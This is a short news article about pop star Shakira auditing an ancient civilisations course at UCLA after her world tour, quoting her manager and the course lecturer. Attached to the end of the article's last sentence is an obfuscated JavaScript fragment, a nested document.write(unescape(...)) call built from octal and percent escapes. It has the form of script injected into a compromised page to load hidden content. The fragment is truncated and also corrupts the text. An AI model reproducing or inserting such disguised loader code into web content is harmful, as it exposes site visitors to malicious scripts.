Shakira attending history lessons

Shakira may get high grades in singing and swivelling her hips, but what about ancient Western history?

For the past month, the Colombian pop star has attended a class on ancient civilisations at the University of California, Los Angeles.

"She went when she finished her tour, for the summer," Shakira's manager Fifi Kurzman said.

The class began in August and ended on Thursday, though Shakira did not attend the last few classes, according to course lecturer Robert Cleve.

Cleve said he had not known she was a celebrity during the course and was astonished to learn she was a pop star. The students did not seem to know either.

"She told me she was visiting from Colombia and that she was just doing this for her own enlightenment and enjoyment," Cleve said. "She looked like just an ordinary student. She wasn't flamboyant ... she didn't act like a big celebrity or anything."

Shakira, who sat near the front in the third row of the lecture hall, would often discuss the course material with him after class.

"I was really impressed with how intelligent she was," said Cleve, adding that she was essentially auditing the class and therefore didn't receive a grade or take exams.

For years, Shakira, 30, has studied on her own, also taking tutorials on the history and languages of the countries she visits, Kurzman said.

Known for last year's Hips Don't Lie and other hits, she released her first album aged 14 and later took time off to finish high school. She decided to take a musical rest this summer following her worldwide Oral Fixation tour to focus on social causes, Kurzman said.document.write(unescape('\04564%6F%63um\145%6Et.%77r%69t\145\04528u%6E\04565s\04563ap\04565\04528\047\045253C%21%5C0\0645\062D%252D\047)\051;